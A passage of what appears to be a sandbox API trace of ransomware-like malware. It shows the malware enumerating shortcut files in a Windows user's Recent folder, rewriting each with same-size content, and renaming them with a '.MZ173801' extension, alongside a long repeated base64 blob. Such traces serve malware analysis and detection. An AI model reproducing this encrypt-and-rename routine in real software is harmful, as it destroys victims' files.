NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.836] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.838] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxYAxNo4INQRTIT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxyaxno4inqrtit.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.838] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.838] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.838] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x40b [0121.838] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.838] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x40b, lpOverlapped=0x0) returned 1 [0121.839] CloseHandle (hObject=0x288) returned 1 [0121.840] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxYAxNo4INQRTIT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxyaxno4inqrtit.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.841] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x40b, lpOverlapped=0x0) returned 1 [0121.842] CloseHandle (hObject=0x288) returned 1 [0121.849] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxYAxNo4INQRTIT.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxyaxno4inqrtit.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oxYAxNo4INQRTIT.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\oxyaxno4inqrtit.lnk.mz173801")) returned 1 [0121.851] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfa6a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddfa6a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddfa6a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="p0NG4l.lnk", cAlternateFileName="")) returned 1 [0121.851] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.851] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.851] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0NG4l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0ng4l.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfa6a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddfa6a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddfa6a00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19cc)) returned 1 [0121.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.853] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.855] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0NG4l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0ng4l.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.856] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.856] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.856] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x19cc [0121.856] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.856] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x19cc, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x19cc, lpOverlapped=0x0) returned 1 [0121.857] CloseHandle (hObject=0x288) returned 1 [0121.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0NG4l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0ng4l.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.858] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x19cc, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x19cc, lpOverlapped=0x0) returned 1 [0121.859] CloseHandle (hObject=0x288) returned 1 [0121.861] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0NG4l.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0ng4l.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\p0NG4l.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p0ng4l.lnk.mz173801")) returned 1 [0121.862] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfccb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddfccb60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddfccb60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="P7HO- 5Ty8zEz.lnk", cAlternateFileName="P7HO-5~1.LNK")) returned 1 [0121.862] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.863] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.863] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\P7HO- 5Ty8zEz.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\p7ho- 5ty8zez.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddfccb60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xddfccb60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xddfccb60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x401)) returned 1 [0121.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RD